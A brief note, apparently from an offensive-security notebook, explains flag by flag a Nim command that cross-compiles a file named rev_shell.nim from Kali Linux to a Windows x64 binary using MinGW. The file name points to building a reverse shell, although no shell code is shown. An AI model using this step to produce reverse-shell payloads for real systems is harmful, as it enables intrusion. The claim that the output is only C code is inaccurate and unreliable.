🟥Nim cross compile in linux to windows

tested in kali aarch64 on M1

Source: https://ubuntuincident.wordpress.com/?s=nim+cross+compile

• nim Nim programming language compiler.

• --os:windows Target operating system is set to Windows.

• --cpu:amd64 Target CPU architecture is set to amd64 (64-bit).

• --gcc.exe:x86_64-w64-mingw32-gcc Path to GCC executable for compiling Nim code. Set to the 64-bit MinGW-w64 GCC executable for Windows.

• --gcc.linkerexe:x86_64-w64-mingw32-gccPath to the GCC linker executable. Points to the 64-bit MinGW-w64 GCC linker for Windows.

• -d:release Instructs Nim to compile the code in release mode, typically including optimizations for performance.

• c Indicates that the Nim code (rev_shell.nim) should be compiled to C code.

• rev_shell.nim Nim source file to be compiled to C code.

Summary: Compiles Nim code (rev_shell.nim) targeting a Windows environment with a 64-bit architecture. Uses specified GCC executables for compilation and linking. Output is C code with optimizations for release mode applied during compilation.

$ nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c rev_shell.nim
